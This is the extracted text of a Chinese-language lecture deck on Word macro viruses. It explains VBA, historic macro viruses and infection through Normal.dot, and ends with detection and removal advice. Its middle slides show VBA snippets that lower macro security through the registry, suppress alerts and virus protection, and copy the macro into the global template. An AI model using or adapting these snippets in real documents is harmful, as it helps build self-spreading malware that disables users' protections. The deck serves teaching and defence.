宏病毒原理和實(shí)現(xiàn)專家講座

宏病毒原理及實(shí)現(xiàn)宏病毒原理和實(shí)現(xiàn)專家講座第1頁宏與OfficeOffice宏與VBAword宏病毒原理宏病毒的攻防宏病毒原理和實(shí)現(xiàn)專家講座第2頁宏（macro)，就是軟件設(shè)計(jì)者為了在使用軟件工作時(shí)，防止一再重復(fù)相同動(dòng)作而設(shè)計(jì)出來一個(gè)工具。它利用簡(jiǎn)單語法，把慣用動(dòng)作寫成宏，當(dāng)再工作時(shí)，就能夠直接利用事先寫好宏自動(dòng)運(yùn)行，去完成某項(xiàng)特定任務(wù)，而無須再重復(fù)相同動(dòng)作。什么是“宏”？MicrosoftOffice、wps等辦公軟件魔獸世界、劍網(wǎng)等游戲

哪里用到“宏”？Office宏定義：MicrosoftWord中對(duì)宏定義為：“宏就是能組織到一起作為一獨(dú)立命令使用一系列word命令，它能使日常工作變得更輕易”

宏病毒原理和實(shí)現(xiàn)專家講座第3頁宏語言宏語言即VISUALBASICFORAPPLICATION，簡(jiǎn)稱VBA。VBA能夠訪問許多操作系統(tǒng)函數(shù)并支持文檔打開時(shí)自動(dòng)執(zhí)行宏

——這使得用這種語言寫計(jì)算機(jī)病毒成為可能宏病毒原理和實(shí)現(xiàn)專家講座第4頁Office各版本及其宏語言年份Office版本宏語言1987Excel4.0formula1991Excel5.0VBA31993Word6.0WordBasic1997Office97applicationsVBA51999Office(WORD10)VBA6OfficeXPVBA6.2Office(WORD11)VBA6.3Office(WORD12)VbA6.5宏病毒原理和實(shí)現(xiàn)專家講座第5頁6Office自帶VisualBasic編輯器注:1、調(diào)用VB編輯器快捷方式：Alt+F112、查看宏快捷鍵：Alt+F8office查看宏代碼能夠點(diǎn)擊：視圖>宏>編輯宏病毒原理和實(shí)現(xiàn)專家講座第6頁VBA介紹直到90年代早期,使應(yīng)用程序自動(dòng)化還是充滿挑戰(zhàn)性領(lǐng)域。對(duì)每個(gè)需要自動(dòng)化應(yīng)用程序，人們不得不學(xué)習(xí)一個(gè)不一樣自動(dòng)化語言。比如:用EXCEL宏語言來使EXCEL自動(dòng)化，使用WORDBASIC使WORD自動(dòng)化等等。微軟開發(fā)出來應(yīng)用程序共享一個(gè)通用自動(dòng)化語言--VisualBasicForApplication(VBA)，實(shí)際上VBA是寄生于VB應(yīng)用程序版本。VB是設(shè)計(jì)用于創(chuàng)建標(biāo)準(zhǔn)應(yīng)用程序,而VBA是使已經(jīng)有應(yīng)用程序(EXCEL等)自動(dòng)化。宏病毒原理和實(shí)現(xiàn)專家講座第7頁word創(chuàng)建宏Word提供了兩種創(chuàng)建宏方法：宏錄制器和VisualBasic編輯器。宏錄制器可幫助用戶開始創(chuàng)建宏。Word在VBA

編程語言中把宏錄制為一系列Word命令?？稍赩isualBasic

編輯器中打開已錄制宏，修改其中指令。也可用VisualBasic

編輯器創(chuàng)建包含VisualBasic指令非常靈活和強(qiáng)有力宏，這些指令無法采取錄制方式。宏病毒原理和實(shí)現(xiàn)專家講座第8頁基于wordVBA編程SubAutoOpen()’定義函數(shù)名，AutoXXX為自動(dòng)宏WhileTrue’惡意代碼，死循環(huán)Msgbox”Helloworld”

’調(diào)用對(duì)話框顯示消息WendEndSub’函數(shù)到此結(jié)束宏病毒原理和實(shí)現(xiàn)專家講座第9頁基于wordVBA編程SubAutoOpen()Command.Caption=Shell"C:\ProgramFiles\InternetExplorer\IEXPLORE.EXE"

vbNormalFocusFori=1To10……Documents.Add’新添加一個(gè)word文檔NextiEndSub

Word應(yīng)用層次Documents(全部文檔)Document(一個(gè)文檔)Templates(全部模板)Windows(全部窗口)SelectionStyleRange…………調(diào)用操作系統(tǒng)Shell函數(shù)打開已安裝應(yīng)用程序宏病毒原理和實(shí)現(xiàn)專家講座第10頁Office有了宏，宏在office中什么位置？宏病毒原理和實(shí)現(xiàn)專家講座第11頁為了方便人們使用宏以及宏文件傳遞使用，Word定義出一個(gè)文件格式，將文檔以及該文檔所需要宏合在一起放在后綴為.dot文件之中。正因?yàn)檫@種是宏也是資料文檔格式，便產(chǎn)生了宏感染可能性。不過，Normal.dot上不能用來存放數(shù)據(jù)，每次修改后都需另外保留。有沒有一個(gè)文檔格式，既能夠存放宏，又能夠用來存放數(shù)據(jù)？？？？宏病毒原理和實(shí)現(xiàn)專家講座第12頁一、模板文件格式：

.dot文檔：模板文檔，新文檔繼承模板屬性（宏、菜單、格式等）。

Normal.dot文件：全局模板，在建立整個(gè)文檔中所起作用是作為一個(gè)基類，是新建文檔默認(rèn)模板。

二、數(shù)據(jù)文件格式

.doc———一個(gè)能夠存貯宏普通文檔；.docx——一個(gè)不包含宏普通文檔；

.docm——一個(gè)包含宏或啟用了宏文檔；

.dotx——一個(gè)不包含宏模板；

.dotm——一個(gè)包含宏或啟用了宏模板。

宏病毒原理和實(shí)現(xiàn)專家講座第13頁

宏就在office文檔里用普通文檔即可傳輸宏文件

寫代碼簡(jiǎn)單，傳輸更簡(jiǎn)單，那么，我們可不能夠做點(diǎn)別事？宏病毒原理和實(shí)現(xiàn)專家講座第14頁

其實(shí)宏病毒出現(xiàn)并非出乎人們意料，早在80年代后期就有教授預(yù)言過。那時(shí)，有些學(xué)生就用一些應(yīng)用程序宏語言編寫病毒。然而，宏病毒與普通病毒不一樣，它不感染.EXE或.COM文件，而只感染文檔文件。宏病毒就像自然界中令人恐懼龍卷風(fēng)，對(duì)人們正常使用計(jì)算機(jī)進(jìn)行學(xué)習(xí)和工作帶來了不可估量影響，同時(shí)也造成了社會(huì)財(cái)富巨大浪費(fèi)。宏病毒原理和實(shí)現(xiàn)專家講座第15頁1.Concept宏病毒

世界上第一個(gè)宏病毒Concept能夠感染W(wǎng)indows和蘋果機(jī)上MicrosoftWord文檔。這個(gè)病毒是用MicrosoftWord6.0中宏語言編寫，但它也能感染其它Word版本創(chuàng)建文檔。

看起來編寫Concept宏病毒是為了證實(shí)確實(shí)能夠用宏編程語言編寫病毒。所以，Concept宏病毒只是顯示一個(gè)對(duì)話框，宣示它存在，并不有意破壞磁盤上任何文件。宏病毒原理和實(shí)現(xiàn)專家講座第16頁2Nuclear宏病毒這是一個(gè)對(duì)操作系統(tǒng)文件和打印輸出有破壞功效宏病毒。這個(gè)宏病毒中包含以下病毒宏：AutoExec

AutoOpen

DropSuriv

FileExit

FilePrint

FilePrint

DefaultFile

SaveAs

這些宏是只執(zhí)行（Execute-only）宏Nuclear宏病毒造成破壞現(xiàn)象為：（1）打開一個(gè)染毒文檔井打印時(shí)候，它會(huì)在您打印最終一段加上“STOPALLFRENCHNUCLEARTESTINGINTHEPACIFIC！”，這個(gè)現(xiàn)象是在每分鐘55秒～60秒之間操作打印時(shí)發(fā)生。（2）假如在天天17:00～18:00之間打開一個(gè)染毒文檔，Nuclear病毒會(huì)將PH33R病毒傳染到計(jì)算機(jī)上，這是個(gè)駐留型病毒。（3）在每年4月5日，該病毒會(huì)將計(jì)算機(jī)上IO.SYS和MSDOS.SYS文件清零，而且刪除C盤根目錄上COMMAND.COM文件。一旦病毒發(fā)作，MSDOS就不可能被引導(dǎo)，計(jì)算機(jī)將陷入癱瘓。宏病毒原理和實(shí)現(xiàn)專家講座第17頁3臺(tái)灣一號(hào)病毒臺(tái)灣一號(hào)病毒會(huì)在每個(gè)月13日影響您正常使用Word文檔和編輯器。它包含以下病毒宏：AutoClose、AutoNew、AutoOpen這些宏是可被編輯宏。在病毒宏中含有以下語句：IfDay(Now())=13Then...這條語句與13日相關(guān)。臺(tái)灣一號(hào)病毒造成危害是：在每個(gè)月13日，若用戶使用Word打開一個(gè)帶毒文檔（模板）時(shí)，病毒會(huì)被激發(fā)。激發(fā)時(shí)現(xiàn)象是：在屏幕正中央彈出一個(gè)對(duì)話框，該對(duì)話框提醒用戶做一個(gè)心算題，如做錯(cuò)，它將會(huì)無限制地打開文件，直至Word內(nèi)存不夠，Word犯錯(cuò)為止；如心算題做對(duì)，會(huì)提醒用戶“什么是巨集病毒（宏病毒）？”，回答“我就是巨集病毒”，再提醒用戶：“怎樣預(yù)防巨集病毒？”，回答是“不要看我”。宏病毒原理和實(shí)現(xiàn)專家講座第18頁2.1宏病毒介紹什么是宏病毒？宏病毒是一個(gè)存放在文檔或模板宏中計(jì)算機(jī)病毒。一旦打開這么文檔，其中宏自動(dòng)被執(zhí)行，于是宏病毒就會(huì)被激活，轉(zhuǎn)移到計(jì)算機(jī)上，并駐留在Normal模板上。從此以后，全部自動(dòng)保留文檔都會(huì)“感染”上這種宏病毒，而且假如其它用戶打開了感染病毒文檔，宏病毒又會(huì)轉(zhuǎn)移到他計(jì)算機(jī)上。宏病毒原理和實(shí)現(xiàn)專家講座第19頁宏病毒特點(diǎn)（1）宏病毒會(huì)感染.DOC文檔和.DOT模版文件。（2）宏病毒傳染通常是WORD在打開一個(gè)帶宏病毒文檔或模版時(shí)，激活宏病毒。（3）多數(shù)宏病毒包含AutoOpen、AutoClose、AutoNew和AutoExit等自動(dòng)宏，經(jīng)過這些自動(dòng)宏病毒取得文檔(模版)操作權(quán)。（4）宏病毒中總是含有對(duì)文檔讀寫操作宏命令。（5）病毒原理簡(jiǎn)單，制作比較方便。（6）傳輸速度相對(duì)較快。宏病毒原理和實(shí)現(xiàn)專家講座第20頁WORD宏病毒生命周期211某個(gè)宏病毒對(duì)文檔取得控制權(quán)2該病毒將自身復(fù)制到通用模板3通用模板在啟動(dòng)時(shí)自動(dòng)調(diào)用宏病毒原理和實(shí)現(xiàn)專家講座第21頁→編程語言：VBA、WordBasic等→運(yùn)行環(huán)境：VBEWord宏病毒感染過程宏病毒原理和實(shí)現(xiàn)專家講座第22頁宏病毒原理大揭秘宏病毒原理和實(shí)現(xiàn)專家講座第23頁1、降低宏安全級(jí)別以office版為例

IfApplication.Version<>“11.0”Then’判斷office版本

strFullname=ThisWorkbook.FullName'取得當(dāng)前工作薄全名

strVBS=Replace(UCase(strFullname),".XLS",".vbs")

‘temp文件VBS文件名

SetWSH=CreateObject(“Wscript.Shell”)’創(chuàng)建Wscript對(duì)象

Err.Clear

OnErrorResumeNext’犯錯(cuò)不提醒，繼續(xù)

regStr=宏病毒原理和實(shí)現(xiàn)專家講座第24頁"HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\Level“'注冊(cè)表中Excelvba安全級(jí)別位置

ret=WSH.RegRead(regStr)'讀取當(dāng)前安全級(jí)別

IfErr.Number<>0Then

'判斷讀取是否成功

vbOKOnly+vbCritical,"Keanjeason"

ExitSub

Else

'假如當(dāng)前ExcelVBA安全級(jí)別不為“低”,則設(shè)置為“低”,值1-4分別對(duì)應(yīng)：低，中，高，非常高

IfVal(ret)<>1Thenret=WSH.RegWrite(regStr,"1","REG_DWORD")

EndIf宏病毒原理和實(shí)現(xiàn)專家講座第25頁1、用戶使用Word執(zhí)行打開文檔、保留文檔、打印文檔和關(guān)閉文檔等操作時(shí)，Word會(huì)查找指定標(biāo)準(zhǔn)宏：例1：關(guān)閉文檔之前查找“FileSave”宏，假如存在，首先執(zhí)行這個(gè)宏例2：打印文檔之前首先查找“FilePrint”宏，假如存在則執(zhí)行這個(gè)宏2、Word中另外還有一些以“Auto”開始宏（自動(dòng)宏），如“AutoOpen”、“AutoClose”等，假如建立了這些宏，打開/關(guān)閉文檔時(shí)候?qū)⒆詣?dòng)執(zhí)行這些宏，這些宏普通是全局宏，對(duì)任何Word文檔都有效。

病毒觸發(fā)要隱含在正常操作中，這些自動(dòng)執(zhí)行宏然是最好宿主。2、文檔控制權(quán)獲取宏病毒原理和實(shí)現(xiàn)專家講座第26頁宏病毒慣用到宏以下表所表示類別宏名運(yùn)行條件自動(dòng)宏AutoExec開啟Word或加載全局模板時(shí)AutoNew每次創(chuàng)建新文檔時(shí)AutoOpen每次打開已存在文檔時(shí)AutoClose在關(guān)閉文檔時(shí)AutoExit在退出Word或卸載全局模板時(shí)標(biāo)準(zhǔn)宏FileSave保留文件FileSaveAs更名另存為文件FilePrint打印文件FileOpen打開文件宏病毒原理和實(shí)現(xiàn)專家講座第27頁

高明病毒編寫者其自我保護(hù)將做得非常好，能夠使word一些工具欄失效，比如將工具菜單中宏選項(xiàng)屏蔽，也能夠修改注冊(cè)表示到很好隱藏效果。慣用代碼示例：OnErrorResumeNext'假如發(fā)生錯(cuò)誤，不彈出犯錯(cuò)窗口，繼續(xù)執(zhí)行下面語句Application.DisplayAlert=wdAlertsNoe'不彈出警告窗口Application.EnableCancelKey=wdCancelDisabled'不允許經(jīng)過ESC鍵結(jié)束正在運(yùn)行宏Application.DisplayStatusBar=False

'不顯示狀態(tài)欄，防止顯示宏運(yùn)行狀態(tài)Application.ScreenUpdating=False '不讓刷新屏幕，防止病毒運(yùn)行引發(fā)刷新速度變慢Option.VirusProtection=False '關(guān)閉病毒保護(hù)功效，運(yùn)行前假如包含宏，不提醒Option.SaveNormalPrompt=False '假如公用模板被修改，不給用戶提醒窗口而直接保留3、宏病毒自我隱藏宏病毒原理和實(shí)現(xiàn)專家講座第28頁1、Word宏病毒普通都首先隱藏在一個(gè)指定Word文檔中，一旦打開了這個(gè)Word文檔，宏病毒就被執(zhí)行，宏病毒要做第一件事情就是將自己拷貝到全局宏區(qū)域，使得全部打開文檔都可使用這個(gè)宏。2、當(dāng)Word退出時(shí)候，全局宏將被存放在某個(gè)全局模板文檔(.dot文件)中，這個(gè)文件名字通常是“Normal.dot”，即Normal模板。3、假如全局宏模板被感染，則Word再開啟時(shí)候?qū)⒆詣?dòng)載入宏病毒而且自動(dòng)執(zhí)行。4、傳輸與感染宏病毒原理和實(shí)現(xiàn)專家講座第29頁1）得到正在操作文檔代碼對(duì)象和公用模板代碼對(duì)象。Ourcode=ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1,100)SetHost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSetHost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIf2)檢驗(yàn)?zāi)０迨欠褚呀?jīng)感染病毒，假如沒有，則復(fù)制宏病毒代碼到模板，而且修改函數(shù)名。WithhostIf.Lines(1,1)<>"'moonlight"Then.DeleteLines1,.CountOfLines.InsertLines3,"SubDocument_Close()"IfThisDocument=NormalTemplateThen.RbeplaceLine3,"SubDocument_Open()"ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWith宏病毒原理和實(shí)現(xiàn)專家講座第30頁宏病毒預(yù)防宏病毒原理和實(shí)現(xiàn)專家講座第31頁

宏病毒離不開可供其運(yùn)行系統(tǒng)軟件(WORD，EXCEL等OFFICE軟件)，所以宏病毒檢測(cè)其實(shí)非常輕易。只要留心一下慣用OFFICE系統(tǒng)軟件是不是出現(xiàn)了一些不正?，F(xiàn)象，就能大約知道計(jì)算機(jī)是不是染上了宏病毒。怎樣及時(shí)發(fā)覺宏病毒？？？宏病毒原理和實(shí)現(xiàn)專家講座第32頁（1）全局模板中出現(xiàn)宏。（2）無故出現(xiàn)存盤操作。（3）OFFICE功效混亂，無法使用。（4）OFFICE菜單命令消失。（5）OFFICE文檔內(nèi)容發(fā)生改變。（6）嘗試保留文檔時(shí)，只允許將文檔保留為文檔模版格式。（7）文檔圖標(biāo)外形類似模板而非文檔圖標(biāo)。Office不正常現(xiàn)象集錦……宏病毒原理和實(shí)現(xiàn)專家講座第33頁

感染了宏病毒后，一樣能夠用防治計(jì)算機(jī)病毒軟件來查殺，亦可采取以下方法進(jìn)行手工處理：1、經(jīng)過刪除宏命令形式刪除宏病毒。2、經(jīng)過復(fù)制粘貼去除宏病毒代碼方式去除宏病毒。3、經(jīng)過刪除NORMAL.DOT來除掉Word宏病毒。4、經(jīng)過格式轉(zhuǎn)換去除Word宏病毒。5、經(jīng)過高版本W(wǎng)ord發(fā)覺病毒宏。6、為防萬一，在打開懷疑感染了宏病毒文檔時(shí)按住SHIFT鍵，這么能夠防止宏自動(dòng)運(yùn)行，假如有宏病毒，則不會(huì)加載宏。宏病毒去除宏病毒原理和實(shí)現(xiàn)專家講座第34頁日常辦公中

怎樣去防止宏病毒？宏病毒原理和實(shí)現(xiàn)專家講座第35頁1、初級(jí)防護(hù)——設(shè)置宏安全等級(jí)36

針對(duì)OfficeOfficeword選項(xiàng)信任中心宏設(shè)置為了預(yù)防利用“VBA”語言編制專門破壞電腦系統(tǒng)病毒程序，Office自帶了“宏”檢測(cè)功效。設(shè)置宏安全級(jí)別較高時(shí)，打開帶有“宏”文檔時(shí)，會(huì)提醒用戶注意，并讓用戶自行選擇是否啟用“